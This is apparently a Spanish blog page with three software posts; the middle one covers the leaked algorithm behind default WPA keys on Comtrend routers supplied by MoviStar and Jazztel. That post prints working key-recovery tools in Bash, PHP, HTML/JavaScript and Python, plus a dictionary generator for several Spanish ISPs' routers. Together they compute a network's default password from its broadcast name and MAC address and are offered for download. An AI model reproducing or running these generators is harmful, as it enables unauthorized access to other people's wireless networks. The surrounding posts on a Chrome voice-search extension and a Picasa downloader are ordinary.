xSpeechKit es una interesante extensión para Google Chrome que se vale de la nueva funcionalidad de reconocimiento de voz de Google Chrome para aumentar la potencialidad del mismo. Y qué mejor manera de hacerlo que usando el mismo buscador de Google para lograr este objetivo. Así tenemos una extensión que se constituye en una herramienta de mucha utilidad para personas que sufran algún tipo de discapacidad. Y para las ques no, tambien.

xSpeechKit es una extensión gratuita y tras su instalación nos muestra un icono en el campo de búsqueda de Google donde normalmente ingresamos el texto a buscar. Este icono tiene la forma de micrófono, solo bastará hacerle clic para que comience el proceso de reconocimiento de lo que estamos hablando, luego de que hagamos una pausa prolongada, la extensión genera el texto y empieza a realiza la búsqueda.

» Licencia | Freeware / Gratis
» Sistema Operativo | Windows
» Enlace de descarga | xSpeechKit
» Fuente de referencia | TecnologiaDiaria

Compartelo:

[?]

[Chrome] xSpeechKit: Controla el buscador Google con la voz es un post de: ¡De todo un poco!

Hace muy poco se ha hecho público el algoritmo que genera las contraseñas de los routers Comtrend, que ofrece MoviStar (Telefonica) y Jazztel a sus clientes para acceder a Internet. Esto significa que si eres un cliente de MoviStar o de Jazztel y al recibir tu router no has cambiado la contraseña, es casi como si no la tuvieras. En estos momentos es mas sencillo calcular esa clave WPA que sacar una clave WEP.

Este mecanismo de generación de claves, basado en el BSSID y el ESSID del router (uno es lo que se conoce como el “nombre la red, habitualmente WLAN_XXXX en routers de MoviStar y Jazztel_XXXX en routers de Jazztel) y otro la dirección MAC del router (escrita normalmente en su base). Estos dos datos son públicos cuando se usa Wi-Fi, por tanto, cualquiera puede calcular la clave.

El algoritmo combina estos dos valores, les concatena la cadena bcgbghgg al comienzo, calcula el hash MD5 y se queda con los 30 primeros caracteres. Los detalles pueden ser consultados, en diferentes lenguajes de programación que les mostraré a continuación. Como pueden ver no es necesario capturar ningún paquete.

Ejemplo en BASH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

#!/bin/bash                                                                     
 
echo CalcWLAN by a.s.r
 
if [ $# -ne 2 ]
then
        echo "Usage: $0 < essid > < bssid >"
        echo
        echo "Example: $0 WLAN_C58D 64:68:0C:C5:C5:90"
        exit 1
fi
 
HEAD=$(echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f2)
BSSID=$(echo -n "$2" | tr 'a-z' 'A-Z' | tr -d :)
BSSIDP=$(echo -n "$BSSID" | cut -c-8)
KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID | md5sum | cut -c-20)
 
echo "La puta clave es $KEY"

Ejemplo en PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195

 
< ?php
// This code is under the public domain
// neikokz (at) gmail (dot) com
 
if (isset($_GET['mirror']) && $_GET['mirror'] == 1)
{
    header('Content-type: text/plain; charset=utf-8');
    die(file_get_contents(__FILE__));
}
 
function right($string, $chars)
{
   return substr($string, strlen($string) - $chars, $chars);
}
 
if (isset($_POST['essid']) && isset($_POST['bssid']))
{
   $bssid = preg_replace('/:/', '', strtoupper(trim($_POST['bssid'])));
 
   if (strlen($bssid) != 12)
   {
      die('Mete bien la MAC, buen hombre.');
   }
 
   $essid = strtoupper(trim($_POST['essid']));
   $_ssid = substr($bssid, 0, 8).right($essid, 4);
 
   die(substr(md5('bcgbghgg'.$_ssid.$bssid), 0, 20));
}
 
if (isset($_POST['bssid_only']))
{
   $bssid = preg_replace('/:/', '', strtoupper(trim($_POST['bssid_only'])));
 
   if (strlen($bssid) != 12 || hexdec($bssid) == 0)
   {
      die('Mete bien la MAC, buen hombre.');
   }
 
   $cal[] = strtoupper(dechex(hexdec(right($bssid, 4)) - 3));
   $cal[] = strtoupper(dechex(hexdec(right($bssid, 4)) - 1));
   $cal[] = right($bssid, 4);
 
   foreach ($cal as $value)
   {
     $res .= substr(md5('bcgbghgg'.substr($bssid, 0, 8).$value.$bssid), 0, 20).' o ';
   }
 
   die(substr($res, 0, strlen($res) - 4));
}
 
?>
< !DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
    <style type="text/css">
      #c
        { margin: 25px auto; width: 500px; font-family: 'Arial', sans-serif; color: #333; }
      #c h1
        { margin: 5px 0 10px 0; font-size: 13pt; border-bottom: 1px dotted #888; padding-bottom: 3px; }
      #c form
        { clear: both; margin: 0 0 10px 0; }
      #c p
        { font-size: 8pt; margin: 0; text-align: center; }
      #c dl
        { font-size: 9pt; }
      #c dt
        { float: left; margin-bottom: 10px; text-align: right; width: 190px; padding-top: 4px; }
      #c dd
        { margin-left: 200px; margin-bottom: 10px; }
      #c form#sin_essid
        { display: none; }
      #c input[type=text]
        { width: 300px; }
      #c input[type=submit]
        { font-weight: bold; }
      #c a
        { color: #0084b4; text-decoration: none; font-weight: bold; }
      #c a:hover
        { text-decoration: underline; }
      #c p.r
        { font-size: 10pt; padding: 5px 10px; background: #36679f; color: white; display: table; text-align: center; margin: 15px auto; border-radius: 3px; -moz-border-radius: 3px; text-shadow: 0px 1px 2px #06374f; }
      #c span
        { font-size: 8pt; }
      #c div.b
        { font-size: 10pt; padding: 5px 10px; background: #eaf3ff; display: table; text-align: center; margin: 15px auto; border-radius: 3px; -moz-border-radius: 3px; }
      #c p.q
        { font-size: 9pt; }
      #c p.y
        { font-size: 11pt; }
      #c p.q a
        { font-weight: bold; }
      #c p.q.v
        { margin-top: 3px; font-size: 8.5pt; }
      #c p.s
        { font-size: 7pt; color: #666; }
      #c div.r
        { border-radius: 5px; -moz-border-radius: 5px; background: #eee; padding: 10px; margin-bottom: 15px; }
      #c .clearit
        { clear: both; }
      a.d img
        { margin: 0 auto; display: block; }
    </style>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
    <script type="text/javascript">
      function release() {
        $('#toallizar').removeAttr('disabled');
        $('#toallizar').val('Calcular');
        $('#toallizar2').removeAttr('disabled');
        $('#toallizar2').val('Calcular');
      }
      function do_toalla(v) {
       if (!v) {
         $('#toallizar').attr('disabled', 'disabled');
         $('#toallizar').val('Espera...');
         $.ajax({
           type: 'POST',
           url: '< ?php echo $_SERVER["SCRIPT_NAME"]; ?>',
           data: 'essid=' + $('#essid').val() + '&bssid=' + $('#bssid').val(),
           success: function(response) {
             release();
             $('#resultado').val(response);
           },
           error: function(response) {
             release();
             alert(':(');
           }});
       } else {
         $('#toallizar2').attr('disabled', 'disabled');
         $('#toallizar2').val('Espera...');
         $.ajax({
           type: 'POST',
           url: '< ?php echo $_SERVER["SCRIPT_NAME"]; ?>',
           data: '&bssid_only=' + $('#bssid2').val(),
           success: function(response) {
             release();
             $('#resultado').val(response);
           },
           error: function(response) {
             release();
             alert(':(');
           }});
        }
        return false;
     }
     function toggler() {
        if ($('#sin_essid').is(":visible")) {
        $('#sin_essid').hide();
        $('#con_essid').show();
        $('#toggler').html('Cambie mi ESSID');
      } else {
        $('#con_essid').hide();
        $('#sin_essid').show();
        $('#toggler').html('No cambie mi ESSID');
      }
     }
    </script>
    <title>Generador de claves</title>
  </head>
  <body>
    <div id="c">
      <h1>Generador de claves para JAZZTEL_XXXX y WLAN_XXXX</h1>
     <p><a href="#" onclick="toggler(); return false;" id="toggler">Cambie mi ESSID</a></p>
      <form onsubmit="do_toalla(0); return false;" id="con_essid">
        <dl>
         <dt>ESSID (nombre de tu red):</dt>
         <dd><input type="text" name="essid" id="essid" /></dd>
         <dt>BSSID (MAC de tu router):</dt>
         <dd><input type="text" name="bssid" id="bssid" /></dd>
         <dt>Aplica presion sobre este boton:</dt>
         <dd><input type="submit" value="Calcular" id="toallizar" /></dd>
        </dl>
      </form>
      <form onsubmit="do_toalla(1); return false;" id="sin_essid">
        <dl>
         <dt>BSSID (MAC de tu router):</dt>
         <dd><input type="text" name="bssid2" id="bssid2" /></dd>
         <dt>Aplica presion sobre este boton:</dt>
         <dd><input type="submit" value="Calcular" id="toallizar2" /></dd>
         <dt></dt>
         <dd>Se generaran tres posibles claves</dd>
        </dl>
      </form>
      <div class="clearit"></div>
        <dl>
         <dt>Resultado:</dt>
         <dd><input type="text" name="resultado" id="resultado" /></dd>
       </dl>
      <p class="s"><strong>v1.5</strong> (< ?php echo date('d/m H:i:s', filemtime(__FILE__)); ?>)</p>
    </div>
 
  </body>
</html>

Ejemplo en HTML

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341

< !DOCTYPE HTML>
<html><head>
 
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>WPAMagicKey</title>
	<script>
		var hexcase = 0;
		var b64pad  = "";
 
 
		function hex_md5(s)    { return rstr2hex(rstr_md5(str2rstr_utf8(s))); }
		function b64_md5(s)    { return rstr2b64(rstr_md5(str2rstr_utf8(s))); }
		function any_md5(s, e) { return rstr2any(rstr_md5(str2rstr_utf8(s)), e); }
		function hex_hmac_md5(k, d)
		  { return rstr2hex(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d))); }
		function b64_hmac_md5(k, d)
		  { return rstr2b64(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d))); }
		function any_hmac_md5(k, d, e)
		  { return rstr2any(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d)), e); }
 
		function md5_vm_test()
		{
		  return hex_md5("abc").toLowerCase() == "900150983cd24fb0d6963f7d28e17f72";
		}
 
		function rstr_md5(s)
		{
		  return binl2rstr(binl_md5(rstr2binl(s), s.length * 8));
		}
 
		function rstr_hmac_md5(key, data)
		{
		  var bkey = rstr2binl(key);
		  if(bkey.length > 16) bkey = binl_md5(bkey, key.length * 8);
 
		  var ipad = Array(16), opad = Array(16);
		  for(var i = 0; i < 16; i++)
		  {
			ipad[i] = bkey[i] ^ 0x36363636;
			opad[i] = bkey[i] ^ 0x5C5C5C5C;
		  }
 
		  var hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);
		  return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));
		}
 
		function rstr2hex(input)
		{
		  try { hexcase } catch(e) { hexcase=0; }
		  var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
		  var output = "";
		  var x;
		  for(var i = 0; i < input.length; i++)
		  {
			x = input.charCodeAt(i);
			output += hex_tab.charAt((x >>> 4) & 0x0F)
				   +  hex_tab.charAt( x        & 0x0F);
		  }
		  return output;
		}
 
		function rstr2b64(input)
		{
		  try { b64pad } catch(e) { b64pad=''; }
		  var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
		  var output = "";
		  var len = input.length;
		  for(var i = 0; i < len; i += 3)
		  {
			var triplet = (input.charCodeAt(i) << 16)
						| (i + 1 < len ? input.charCodeAt(i+1) << 8 : 0)
						| (i + 2 < len ? input.charCodeAt(i+2)      : 0);
			for(var j = 0; j < 4; j++)
			{
			  if(i * 8 + j * 6 > input.length * 8) output += b64pad;
			  else output += tab.charAt((triplet >>> 6*(3-j)) & 0x3F);
			}
		  }
		  return output;
		}
 
		function rstr2any(input, encoding)
		{
		  var divisor = encoding.length;
		  var i, j, q, x, quotient;
		  var dividend = Array(Math.ceil(input.length / 2));
		  for(i = 0; i < dividend.length; i++)
		  {
			dividend[i] = (input.charCodeAt(i * 2) << 8) | input.charCodeAt(i * 2 + 1);
		  }
 
		  var full_length = Math.ceil(input.length * 8 /
											(Math.log(encoding.length) / Math.log(2)));
		  var remainders = Array(full_length);
		  for(j = 0; j < full_length; j++)
		  {
			quotient = Array();
			x = 0;
			for(i = 0; i < dividend.length; i++)
			{
			  x = (x << 16) + dividend[i];
			  q = Math.floor(x / divisor);
			  x -= q * divisor;
			  if(quotient.length > 0 || q > 0)
				quotient[quotient.length] = q;
			}
			remainders[j] = x;
			dividend = quotient;
		  }
 
		  var output = "";
		  for(i = remainders.length - 1; i >= 0; i--)
			output += encoding.charAt(remainders[i]);
 
		  return output;
		}
 
		function str2rstr_utf8(input)
		{
		  var output = "";
		  var i = -1;
		  var x, y;
 
		  while(++i < input.length)
		  {
			x = input.charCodeAt(i);
			y = i + 1 < input.length ? input.charCodeAt(i + 1) : 0;
			if(0xD800 <= x && x <= 0xDBFF && 0xDC00 <= y && y <= 0xDFFF)
			{
			  x = 0x10000 + ((x & 0x03FF) << 10) + (y & 0x03FF);
			  i++;
			}
 
			if(x <= 0x7F)
			  output += String.fromCharCode(x);
			else if(x <= 0x7FF)
			  output += String.fromCharCode(0xC0 | ((x >>> 6 ) & 0x1F),
											0x80 | ( x         & 0x3F));
			else if(x < = 0xFFFF)
			  output += String.fromCharCode(0xE0 | ((x >>> 12) & 0x0F),
											0x80 | ((x >>> 6 ) & 0x3F),
											0x80 | ( x         & 0x3F));
			else if(x < = 0x1FFFFF)
			  output += String.fromCharCode(0xF0 | ((x >>> 18) & 0x07),
											0x80 | ((x >>> 12) & 0x3F),
											0x80 | ((x >>> 6 ) & 0x3F),
											0x80 | ( x         & 0x3F));
		  }
		  return output;
		}
 
		function str2rstr_utf16le(input)
		{
		  var output = "";
		  for(var i = 0; i < input.length; i++)
			output += String.fromCharCode( input.charCodeAt(i)        & 0xFF,
										  (input.charCodeAt(i) >>> 8) & 0xFF);
		  return output;
		}
 
		function str2rstr_utf16be(input)
		{
		  var output = "";
		  for(var i = 0; i < input.length; i++)
			output += String.fromCharCode((input.charCodeAt(i) >>> 8) & 0xFF,
										   input.charCodeAt(i)        & 0xFF);
		  return output;
		}
 
		function rstr2binl(input)
		{
		  var output = Array(input.length >> 2);
		  for(var i = 0; i < output.length; i++)
			output[i] = 0;
		  for(var i = 0; i < input.length * 8; i += 8)
			output[i>>5] |= (input.charCodeAt(i / 8) & 0xFF) < < (i%32);
		  return output;
		}
 
		function binl2rstr(input)
		{
		  var output = "";
		  for(var i = 0; i < input.length * 32; i += 8)
			output += String.fromCharCode((input[i>>5] >>> (i % 32)) & 0xFF);
		  return output;
		}
 
		function binl_md5(x, len)
		{
		  x[len >> 5] |= 0x80 < < ((len) % 32);
		  x[(((len + 64) >>> 9) < < 4) + 14] = len;
 
		  var a =  1732584193;
		  var b = -271733879;
		  var c = -1732584194;
		  var d =  271733878;
 
		  for(var i = 0; i < x.length; i += 16)
		  {
			var olda = a;
			var oldb = b;
			var oldc = c;
			var oldd = d;
 
			a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);
			d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);
			c = md5_ff(c, d, a, b, x[i+ 2], 17,  606105819);
			b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);
			a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);
			d = md5_ff(d, a, b, c, x[i+ 5], 12,  1200080426);
			c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);
			b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);
			a = md5_ff(a, b, c, d, x[i+ 8], 7 ,  1770035416);
			d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);
			c = md5_ff(c, d, a, b, x[i+10], 17, -42063);
			b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162);
			a = md5_ff(a, b, c, d, x[i+12], 7 ,  1804603682);
			d = md5_ff(d, a, b, c, x[i+13], 12, -40341101);
			c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290);
			b = md5_ff(b, c, d, a, x[i+15], 22,  1236535329);
 
			a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);
			d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
			c = md5_gg(c, d, a, b, x[i+11], 14,  643717713);
			b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);
			a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);
			d = md5_gg(d, a, b, c, x[i+10], 9 ,  38016083);
			c = md5_gg(c, d, a, b, x[i+15], 14, -660478335);
			b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);
			a = md5_gg(a, b, c, d, x[i+ 9], 5 ,  568446438);
			d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);
			c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);
			b = md5_gg(b, c, d, a, x[i+ 8], 20,  1163531501);
			a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);
			d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);
			c = md5_gg(c, d, a, b, x[i+ 7], 14,  1735328473);
			b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734);
 
			a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);
			d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);
			c = md5_hh(c, d, a, b, x[i+11], 16,  1839030562);
			b = md5_hh(b, c, d, a, x[i+14], 23, -35309556);
			a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
			d = md5_hh(d, a, b, c, x[i+ 4], 11,  1272893353);
			c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);
			b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640);
			a = md5_hh(a, b, c, d, x[i+13], 4 ,  681279174);
			d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);
			c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);
			b = md5_hh(b, c, d, a, x[i+ 6], 23,  76029189);
			a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);
			d = md5_hh(d, a, b, c, x[i+12], 11, -421815835);
			c = md5_hh(c, d, a, b, x[i+15], 16,  530742520);
			b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);
 
			a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);
			d = md5_ii(d, a, b, c, x[i+ 7], 10,  1126891415);
			c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905);
			b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);
			a = md5_ii(a, b, c, d, x[i+12], 6 ,  1700485571);
			d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);
			c = md5_ii(c, d, a, b, x[i+10], 15, -1051523);
			b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);
			a = md5_ii(a, b, c, d, x[i+ 8], 6 ,  1873313359);
			d = md5_ii(d, a, b, c, x[i+15], 10, -30611744);
			c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);
			b = md5_ii(b, c, d, a, x[i+13], 21,  1309151649);
			a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);
			d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379);
			c = md5_ii(c, d, a, b, x[i+ 2], 15,  718787259);
			b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);
 
			a = safe_add(a, olda);
			b = safe_add(b, oldb);
			c = safe_add(c, oldc);
			d = safe_add(d, oldd);
		  }
		  return Array(a, b, c, d);
		}
 
		function md5_cmn(q, a, b, x, s, t)
		{
		  return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b);
		}
		function md5_ff(a, b, c, d, x, s, t)
		{
		  return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);
		}
		function md5_gg(a, b, c, d, x, s, t)
		{
		  return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);
		}
		function md5_hh(a, b, c, d, x, s, t)
		{
		  return md5_cmn(b ^ c ^ d, a, b, x, s, t);
		}
		function md5_ii(a, b, c, d, x, s, t)
		{
		  return md5_cmn(c ^ (b | (~d)), a, b, x, s, t);
		}
 
		function safe_add(x, y)
		{
		  var lsw = (x & 0xFFFF) + (y & 0xFFFF);
		  var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
		  return (msw < < 16) | (lsw & 0xFFFF);
		}
 
		function bit_rol(num, cnt)
		{
		  return (num << cnt) | (num >>> (32 - cnt));
		}
 
 
 
		function GenerarKey(){
		    var essid = document.getElementById("txtESSID").value;
			var bssid = document.getElementById("txtBSSID").value;
 
			essid = essid.replace(":","").replace("JAZZTEL_","").replace("WLAN_","").toUpperCase();
 
			while (bssid.indexOf(":")!=-1) bssid=bssid.replace(":","");
			bssid = bssid.toUpperCase();
 
			if (essid.length != 4) { document.getElementById("txtKey").value = 'ESSID incorrecto'; return; }
			if (bssid.length != 12) { document.getElementById("txtKey").value = 'BSSID incorrecto'; return; }
 
			document.getElementById("txtKey").value = hex_md5("bcgbghgg" + bssid.substring(0,8) + essid + bssid).substring(0,20);
		}
</script>
</meta></head><body>
	<table style="border: 1px solid rgb(0, 0, 0); width: 300px;">
		<tbody><tr><td colspan="3">&nbsp;</td></tr>
		<tr><td style="text-align: right;">ESSID:</td><td><input id="txtESSID" size="4" maxlength="4" type="text"/>&nbsp;(4 últimos caracteres)</td><td></td></tr>
		<tr><td style="text-align: right;">BSSID:</td><td><input id="txtBSSID" size="17" value="68640C" maxlength="17" type="text"/></td><td></td></tr>
		<tr><td style="text-align: right;">Clave:</td><td><input id="txtKey" size="22" readonly="readonly" type="text"/></td><td></td></tr>
		<tr><td></td><td><input onclick="GenerarKey();" value="Calcular key" type="button"/></td><td></td></tr>
		<tr><td colspan="3">&nbsp;</td></tr>
	</tbody></table>
	<br />
 </body></html>

Ejemplo en PYTHON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155

 
#!/usr/bin/env python
"""
    Spanish Dictionary Generators for WEP and WPA Networks library
    I know, I know, this is not PEP8'ized
    This time... fuck PEP8.
 
     Copyright (C) 2010 David Francos Cuartero
        This program is free software; you can redistribute it and/or
        modify it under the terms of the GNU General Public License
        as published by the Free Software Foundation; either version 2
        of the License, or (at your option) any later version.
 
        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.
 
        You should have received a copy of the GNU General Public License
        along with this program; if not, write to the Free Software
        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 
"""
import sys, string, hashlib
 
class Dlink():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.return_=1
            return
        self.sm=args[0][1].split(':')
        self.dicts=[]
        self.S2=self.hexa_minus_one(self.sm[-1][1])
        self.S1=""
        if self.sm[-1][1] is 0: self.S1=self.hexa_minus_one(self.sm[-1][0])
        if self.S1 is -1: self.S2, self.S1 = [0,0]
        self.static="%s%s%s%s" %(self.sm[4], self.sm[1], self.sm[2],self.sm[3])
 
    @property
    def dictionary(self):
        if hasattr(self, 'return_'):
            return "Usage: Dlink Bssid "
        for self.F in string.hexdigits.replace('abcdef',''):
            for self.I in string.hexdigits.replace('abcdef',''):
                self.dicts.append("%s%s%s%s%s%s%s%s"
                        %(self.sm[5], self.sm[0], self.static, self.sm[5], self.static, self.sm[1], self.F, self.I))
                self.dicts.append("%s%s%s%s%s%s%s%s%s%s%s" %(
                            self.S1, self.S2, self.sm[0],self.static,
                            self.S1, self.S2, self.sm[5],self.static,self.sm[0], self.F, self.I))
                self.dicts.append("%s%s%s%s%s%s%s%s%s"
                        %(self.S1, self.S2, self.sm[0], self.static, self.sm[5], self.static, self.sm[1], self.F, self.I))
 
        return self.dicts
 
    def hexa_minus_one(self, hexa):
        if hex(int(hexa, 16) - 1).split('x')[0] == "-": return -1
        return hex(int(hexa, 16) - 1).split('x')[1]
 
class Tele2():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.return_=1
            return
        self.sm=args[0][1].split(':')
        self.year=args[0][1]
        self.dicts=[]
        self.fixed="IX1V" + args[0][2]
 
    @property
    def dictionary(self):
        if hasattr(self, 'return_'):
            return "Usage: Tele2 year fixed_data [''|'IV']"
        [[[[[[ self.dicts.append("%s%s%s%s%s%s%s%s" %(self.fixed, self.year, a, b, c, d, e, f) ) for a in range(0,9)] for b in range(0,9)] for c in range(0,9)] for d in range(0,9)] for e in range(0,9)] for f in range(0,9)]
        return self.dicts
 
class Jazztel():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.dictionary="Usage: Jazztel Bssid Essid [WPA]"
            return
        if args[0][3] is "WPA":
            self.dictionary=JazztelAndTelefonicaWPA(args).dictionary
        else:
            self.dictionary=JazztelAndTelefonica(args[0][1], args[0][2], { '00:1A:2B' : ['Comtrend', 'E001D20'] } ).dictionary
 
class Telefonica():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.dictionary="Usage: Telefonica Bssid Essid"
            return
 
        self.dictionary=JazztelAndTelefonica(args[0][1], args[0][2], {
            "00:60:B3": ["Z-com", "Z001349"],
            "00:01:38": ["Xavi 7768r", "X000138"] ,
            "00:03:C9": ["Comtrend 535", "C0030DA"],
            "00:A0:C5": [ "Zyxel 650HW/660HW", "Z001349"],
            "00:16:38": [ "Comtrend_536+", "C0030DA"],
            "00:13:49": [ "P-660HW-D1", "Z001349", "Z0002CF" ] }).dictionary
 
class TelefonicaWPA():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.dictionary="Usage: TelefonicaWPA Bssid Essid"
            return
 
        self.dictionary=JazztelAndTelefonicaWPA(args[0][2], args[0][1]).dictionary
 
class JazztelWPA():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.dictionary="Usage: JazztelWPA Bssid Essid"
            return
 
        self.dictionary=JazztelAndTelefonicaWPA(args[0][2], args[0][1]).dictionary
 
class JazztelAndTelefonicaWPA():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.return_=1
            return
        self.mac=args[0].replace(':','')
        self.essid=args[0].split("_")[1]
        self.static="bcgbghgg"
 
    @property
    def dictionary(self):
        if hasattr(self, 'return_'):
            return
        return [hashlib.md5(self.static + self.mac[:-4] + self.essid + self.mac).hexdigest()[:-12], ]
 
class JazztelAndTelefonica():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.return_=1
            return
        self.sm=args[0].split(':')
        self.essid=args[1]
        self.dicts=[]
        self.valid_routers=args[2]
 
    @property
    def dictionary(self):
        if hasattr(self, 'return_'):
            return
        a=string.hexdigits.replace('abcdef','')
        try:
            for i in range(1, len(self.valid_routers[':'.join(self.sm[:3])])):
                [[[[ self.dicts.append( "%s%s%s%s%s%s%s"
                    %(self.valid_routers[':'.join(self.sm[:3])][i], \
                     m, j, k, l, self.essid[-2], self.essid[-1])) for m in a]
                        for j in a ] for k in a ] for l in a]
        except KeyError:
            raise Exception('Error: Router not valid for a jazztel or telefonica network')
 
        return self.dicts

Pinche aquí para ver el vídeo

» Licencia | Freeware / Gratis / GPL
» Sitio Oficial | Generador de claves para JAZZTEL_XXXX y WLAN_XXXX
» Enlace de descarga | WIFI Auditor! | Luis Delgado
» Fuente de referencia | Hispasec Sistemas

Compartelo:

[?]

Generador de claves WPA para JAZZTEL_XXXX y WLAN_XXXX es un post de: ¡De todo un poco!

Hoy les presento un truco para descargar álbumes de foto, creados con Picasa. Con esta herramienta lo puedes hacer sin necesitar registrarte o tener instalada la aplicación oficial de Picasa. Esta disponible para PC, MAC y Linux.

Todo lo que necesita hacer para captar las imágenes es, iniciar la utilidad, especificar el ID del usuario y el nombre del álbum que desea descargar, el resto lo hace automáticamente el propio software.

» Licencia | Freeware/Gratis/GPL
» Sistema Operativo | Linux/MacOS/Windows
» Tamaño | 8.5MB
» Sitio Oficial | Picasa Album Downloader
» Enlace de descarga | Picasa Album Downloader

Compartelo:

[?]

